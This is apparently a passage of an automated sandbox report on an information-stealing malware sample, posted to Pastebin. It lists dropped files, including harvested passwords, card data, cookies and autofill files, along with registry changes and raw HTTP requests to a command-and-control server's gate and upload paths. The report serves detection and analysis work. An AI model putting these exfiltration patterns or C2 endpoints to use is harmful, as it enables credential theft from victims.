  615. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32.dll",
  616. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32_InUse.dll",
  617. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\msvcp140.dll",
  618. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nss3.dll",
  619. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssckbi.dll",
  620. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-namedpipe-l1-1-0.dll",
  621. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processenvironment-l1-1-0.dll",
  622. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-0.dll",
  623. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-1.dll",
  624. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-profile-l1-1-0.dll",
  625. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  626. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-string-l1-1-0.dll",
  627. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-1-0.dll",
  628. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-2-0.dll",
  629. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-sysinfo-l1-1-0.dll",
  630. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-timezone-l1-1-0.dll",
  631. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-util-l1-1-0.dll",
  632. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-conio-l1-1-0.dll",
  633. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-convert-l1-1-0.dll",
  634. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-environment-l1-1-0.dll",
  635. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-filesystem-l1-1-0.dll",
  636. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-heap-l1-1-0.dll",
  637. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-locale-l1-1-0.dll",
  638. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-math-l1-1-0.dll",
  639. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-multibyte-l1-1-0.dll",
  640. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-private-l1-1-0.dll",
  641. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-process-l1-1-0.dll",
  642. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-runtime-l1-1-0.dll",
  643. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-stdio-l1-1-0.dll",
  644. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-string-l1-1-0.dll",
  645. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-time-l1-1-0.dll",
  646. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-utility-l1-1-0.dll",
  647. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l1-2-0.dll",
  648. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l2-1-0.dll",
  649. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-handle-l1-1-0.dll",
  650. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-heap-l1-1-0.dll",
  651. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-interlocked-l1-1-0.dll",
  652. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-libraryloader-l1-1-0.dll",
  653. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-localization-l1-2-0.dll",
  654. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-memory-l1-1-0.dll",
  655. "C:\\Users\\user\\AppData\\Local\\Temp\\machineinfo.txt",
  656. "C:\\Users\\user\\AppData\\Local\\Temp\\Log.zip",
  657. "C:\\Windows\\sysnative\\LogFiles\\Scm\\4963ad21-c4a5-42a5-b9bd-e441d57204fe",
  658. "C:\\Windows\\sysnative\\LogFiles\\Scm\\7bbc503c-5977-4798-a4ae-61483a7e030d",
  659. "C:\\Windows\\sysnative\\LogFiles\\Scm\\8981e291-89ba-46f0-bd15-877797a86c26",
  660. "\\??\\Nul",
  661. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAE68.tmp.appcompat.txt",
  662. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB241.tmp.WERInternalMetadata.xml",
  663. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB290.tmp.hdmp",
  664. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBD9D.tmp.mdmp",
  665. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\WERAE68.tmp.appcompat.txt",
  666. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\WERB241.tmp.WERInternalMetadata.xml",
  667. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\WERB290.tmp.hdmp",
  668. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\WERBD9D.tmp.mdmp",
  669. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\Report.wer",
  670. "\\??\\PIPE\\lsarpc",
  671. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\Report.wer.tmp"
  672.  
  673.  
  674. * Deleted Files:
  675. "C:\\Users\\user\\AppData\\Local\\Temp\\P1kAlMiG2K",
  676. "C:\\Users\\user\\AppData\\Local\\Temp\\b7FzP5tM1Q",
  677. "C:\\Users\\user\\AppData\\Local\\Temp\\BI6DSS92c3",
  678. "C:\\Users\\user\\AppData\\Local\\Temp\\1Apgjk9lVK",
  679. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ff-funcs.zip",
  680. "C:\\Users\\user\\AppData\\Local\\Temp\\Log.zip",
  681. "C:\\Users\\user\\AppData\\Local\\Temp\\passwords.txt",
  682. "C:\\Users\\user\\AppData\\Local\\Temp\\CC.txt",
  683. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_cookie.txt",
  684. "C:\\Users\\user\\AppData\\Local\\Temp\\firefox_cookie.txt",
  685. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_autofill.txt",
  686. "C:\\Users\\user\\AppData\\Local\\Temp\\machineinfo.txt",
  687. "C:\\Users\\user\\AppData\\Local\\Temp\\screen.png",
  688. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleHandler.dll",
  689. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleMarshal.dll",
  690. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l1-2-0.dll",
  691. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l2-1-0.dll",
  692. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-handle-l1-1-0.dll",
  693. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-heap-l1-1-0.dll",
  694. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-interlocked-l1-1-0.dll",
  695. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-libraryloader-l1-1-0.dll",
  696. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-localization-l1-2-0.dll",
  697. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-memory-l1-1-0.dll",
  698. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-namedpipe-l1-1-0.dll",
  699. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processenvironment-l1-1-0.dll",
  700. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-0.dll",
  701. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-1.dll",
  702. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-profile-l1-1-0.dll",
  703. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  704. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-string-l1-1-0.dll",
  705. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-1-0.dll",
  706. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-2-0.dll",
  707. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-sysinfo-l1-1-0.dll",
  708. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-timezone-l1-1-0.dll",
  709. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-util-l1-1-0.dll",
  710. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-conio-l1-1-0.dll",
  711. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-convert-l1-1-0.dll",
  712. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-environment-l1-1-0.dll",
  713. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-filesystem-l1-1-0.dll",
  714. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-heap-l1-1-0.dll",
  715. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-locale-l1-1-0.dll",
  716. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-math-l1-1-0.dll",
  717. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-multibyte-l1-1-0.dll",
  718. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-private-l1-1-0.dll",
  719. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-process-l1-1-0.dll",
  720. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-runtime-l1-1-0.dll",
  721. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-stdio-l1-1-0.dll",
  722. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-string-l1-1-0.dll",
  723. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-time-l1-1-0.dll",
  724. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-utility-l1-1-0.dll",
  725. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\breakpadinjector.dll",
  726. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\freebl3.dll",
  727. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\IA2Marshal.dll",
  728. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldap60.dll",
  729. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldif60.dll",
  730. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\lgpllibs.dll",
  731. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\libEGL.dll",
  732. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy.dll",
  733. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy_InUse.dll",
  734. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozglue.dll",
  735. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32.dll",
  736. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32_InUse.dll",
  737. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\msvcp140.dll",
  738. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nss3.dll",
  739. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssckbi.dll",
  740. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssdbm3.dll",
  741. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\prldap60.dll",
  742. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\qipcap.dll",
  743. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\softokn3.dll",
  744. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ucrtbase.dll",
  745. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\vcruntime140.dll",
  746. "C:\\Users\\user\\AppData\\Local\\Temp\\sqlite3.dll",
  747. "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_bf2ecdd780f65b7bf90bee6f48fb8fc4.exe",
  748. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAE68.tmp",
  749. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAE68.tmp.appcompat.txt",
  750. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB241.tmp",
  751. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB241.tmp.WERInternalMetadata.xml",
  752. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB290.tmp",
  753. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB290.tmp.hdmp",
  754. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBD9D.tmp",
  755. "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERBD9D.tmp.mdmp",
  756. "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_ce50b7218bdf27a0a42064335617fbdae026e4e1_cab_04c6bff1\\Report.wer.tmp"
  757.  
  758.  
  759. * Modified Registry Keys:
  760. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  761. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\VaultSvc\\Type",
  762. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
  763. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
  764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
  765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent",
  766. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining"
  767.  
  768.  
  769. * Deleted Registry Keys:
  770.  
  771. * DNS Communications:
  772.  
  773. "type": "A",
  774. "request": "doc-0c-a0-docs.googleusercontent.com",
  775. "answers":
  776.  
  777. "data": "googlehosted.l.googleusercontent.com",
  778. "type": "CNAME"
  779.  
  780.  
  781. "data": "172.217.4.129",
  782. "type": "A"
  783.  
  784.  
  785.  
  786.  
  787.  
  788. * Domains:
  789.  
  790. "ip": "172.217.11.65",
  791. "domain": "doc-0c-a0-docs.googleusercontent.com"
  792.  
  793.  
  794.  
  795. * Network Communication - ICMP:
  796.  
  797. "src": "169.254.255.254
  798. "dst": "1.1.1.1",
  799. "type": 8,
  800. "data": "abcdefghijklmnopqrstuvwabcdefghi"
  801.  
  802.  
  803. "src": "1.1.1.1",
  804. "dst": "169.254.255.254
  805. "type": 0,
  806. "data": "abcdefghijklmnopqrstuvwabcdefghi"
  807.  
  808.  
  809.  
  810. * Network Communication - HTTP:
  811.  
  812. "count": 1,
  813. "body": "",
  814. "uri": "http://35.246.189.253/gate/log.php",
  815. "user-agent": "",
  816. "method": "POST",
  817. "host": "35.246.189.253",
  818. "version": "1.1",
  819. "path": "/gate/log.php",
  820. "data": "POST /gate/log.php HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 151\r\nHost: 35.246.189.253\r\n\r\n",
  821. "port": 80
  822.  
  823.  
  824. "count": 1,
  825. "body": "",
  826. "uri": "http://35.246.189.253/gate/sqlite3.dll",
  827. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  828. "method": "GET",
  829. "host": "35.246.189.253",
  830. "version": "1.1",
  831. "path": "/gate/sqlite3.dll",
  832. "data": "GET /gate/sqlite3.dll HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: 35.246.189.253\r\nConnection: Keep-Alive\r\n\r\n",
  833. "port": 80
  834.  
  835.  
  836. "count": 1,
  837. "body": "",
  838. "uri": "http://35.246.189.253/gate/libs.zip",
  839. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  840. "method": "GET",
  841. "host": "35.246.189.253",
  842. "version": "1.1",
  843. "path": "/gate/libs.zip",
  844. "data": "GET /gate/libs.zip HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: 35.246.189.253\r\nConnection: Keep-Alive\r\n\r\n",
  845. "port": 80
  846.  
  847.  
  848. "count": 1,
  849. "body": "",
  850. "uri": "http://35.246.189.253/file_handler2/file.php?hash=14540950dfcf647455852b2327e800e048b497fb&js=20da77f7a4fa2d02fdac650c1c6491b83d7722b1&callback=http://35.246.189.253/gate",
  851. "user-agent": "",
  852. "method": "POST",
  853. "host": "35.246.189.253",
  854. "version": "1.1",
  855. "path": "/file_handler2/file.php?hash=14540950dfcf647455852b2327e800e048b497fb&js=20da77f7a4fa2d02fdac650c1c6491b83d7722b1&callback=http://35.246.189.253/gate",
  856. "data": "POST /file_handler2/file.php?hash=14540950dfcf647455852b2327e800e048b497fb&js=20da77f7a4fa2d02fdac650c1c6491b83d7722b1&callback=http://35.246.189.253/gate HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nContent-Type: multipart/form-data, boundary=Jfbvjwj3489078yuyetu\r\nContent-Length: 1504\r\nHost: 35.246.189.253\r\n\r\n",
  857. "port": 80
  858.  
  859.  
  860.  
  861. * Network Communication - SMTP:
  862.  
  863. * Network Communication - Hosts:
  864.  
  865. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!